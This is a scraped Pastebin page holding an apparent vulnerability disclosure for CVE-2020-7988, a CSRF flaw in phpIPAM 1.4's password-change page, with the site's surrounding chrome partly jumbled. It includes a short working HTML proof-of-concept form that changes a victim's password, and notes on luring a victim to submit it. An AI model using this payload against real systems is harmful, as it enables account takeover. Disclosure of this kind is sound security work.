SIGN UP LOGIN (/LOGIN) (/SIGNUP)

Public Pastes (/archive)

fuck you AD discord and your stupid rules (/jDZ6c0V2) JavaScript | 20 min ago | 0.87 KB

Audio Sampling I2S (/vhjpsKAP) Arduino | 27 min ago | 0.37 KB

Untitled (/DgMcd7Xn) C++ | 30 min ago | 1.06 KB

wie (/Hfkgujfb) C++ | 56 min ago | 7.08 KB Cinema (If Construction) (/nERTZifb)
 C# | 1 hour ago | 1.04 KB

1. Cinema (Switch Construction) (/52sYEBPf) C# | 1 hour ago | 1.09 KB

Custom Popover NavLink (/RsdqZCDQ) Swift | 1 hour ago | 1.66 KB

UI Library (/3ehQuTT6) Lua | 2 hours ago | 15.77 KB

SHARE

TWEET

Advertisement

Untitled

A GUEST

MAR 4TH, 2020 4,235 0 NEVER ADD COMMENT (/LOGIN?RETURN_URL=%2FZPECBGZB%23ADD_COMMENT)

Not a member of Pastebin yet? Sign Up (/signup), it unlocks many cool features!

text (/archive/text) 2.89 KB | None | raw (/raw/ZPECbgZb) download (/dl/ZPECbgZb) clone (/clone/ZPECbgZb) 0 (/login?return_url=%2FZPECbgZb) 0 (/login?return_url=%2FZPECbgZb) 2. > [Suggested description] 3. > An issue was discovered in tools/pass-change/result.php in phpIPAM 1.4. 4. > CSRF can be used to change the password of any user/admin, to 5. > escalate privileges, and to gain access to more data and functionality. This issue exists 6. > due to the lack of a requirement to provide the old password, and the lack of security 8. > 9. > ------11. > [Additional Information] 12. > I've sent to the vendor with the vulnerability details but haven't received any reply yet. 13. > 14. > CSRF POC: 15. > 16. > <html> 17. > <body> 18. > <script>history.pushState('', '', '/')</script> 19. > <form action="http://hostname/app/tools/pass-change/result.php" method="POST"> 20. > <input type="hidden" name="ipampassword1" value="attackers_password" /> <input type="hidden" name="ipampassword2" value="attackers_password" /> 21. > 22. > <input type="submit" value="Submit request" /> 23. > </form> 24. > </body> 25. > </html> 26. > 27. > -----28. > 29. > [Vulnerability Type] 30. > Cross Site Request Forgery (CSRF) 31. > 32. > -----33. > 34. > [Vendor of Product] 35. > phpIPAM 36. > 37. > -----38. > 39. > [Affected Product Code Base] 40. > phpIPAM - 1.4 41. > 42. > -----43. > 44. > [Affected Component] 45. > result.php 46. > 48. > 49. > [Attack Type] 50. > Remote 51. > 52. > -----54. > [Impact Escalation of Privileges] 55. > true 58. > 59. > [CVE Impact Other] 60. > Account Takeover 61. >

We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy (/doc_cookies_policy). OK, I Understand

Not a member of Pastebin yet? Sign Up (/signup), it unlocks many cool (/signup)features!

62. ASTEBIN (/) API (/DOC_API) TOOLS (/TOOLS) FAQ (/FAQ) paste (/)	LOGIN SIGN UP
64. > [Attack Vectors]	(/LOGIN) (/SIGNUP)
65. > Crafting a post request in a button with the new password and luring the victim to click it.	
66. >	
67.	
68. >	
69. > [Reference]	
70. > https://phpipam.net/news/phpipam-v1-5-released/	
71.	
72. >	
73.	
74. > [Discoverer]	
75. > Khalid Amin https://hackerone.com/khalidamin	
76.	
77. CVE-2020-7988.	
ld Comment	
ld Comment Please, <u>Sign In</u> (/login?return_url=%2FZPECbgZb%23add_comment) to add comment	
Please, <u>Sign In</u> (/login?return_url=%2FZPECbgZb%23add_comment) to add comment	
Please, <u>Sign In</u> (/login?return_url=%2FZPECbgZb%23add_comment) to add comment	

(/tools#**/dowls#f)cols#/phols#)/viouls#/#sydis#/fracis#/dpeis**#pastebincl)

create new paste (/) / syntax languages (/languages) / archive (/archive) / faq (/faq) / tools (/tools) / night mode (/night_mode) / api (/doc_api) / scraping api (/doc_scraping_api) / news (/news) / pro (/pro) (https://fdistbook/txoite/passet/paste privacy statement (/doc_privacy_statement) / cookies policy (/doc_cookies_policy) / terms of service (/doc_terms_of_service) /dented / security disclosure (/doc_security_disclosure) / dmca (/dmca) / report abuse (/report-abuse) / contact (/contact)

By using Pastebin.com you agree to our cookies policy (/doc_cookies_policy) to enhance your experience. Site design & logo © 2022 Pastebin

> We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy (/doc_cookies_policy). OK, I Understand

Not a member of Pastebin yet?

Sign Up (/signup), it unlocks many cool (/signup)features!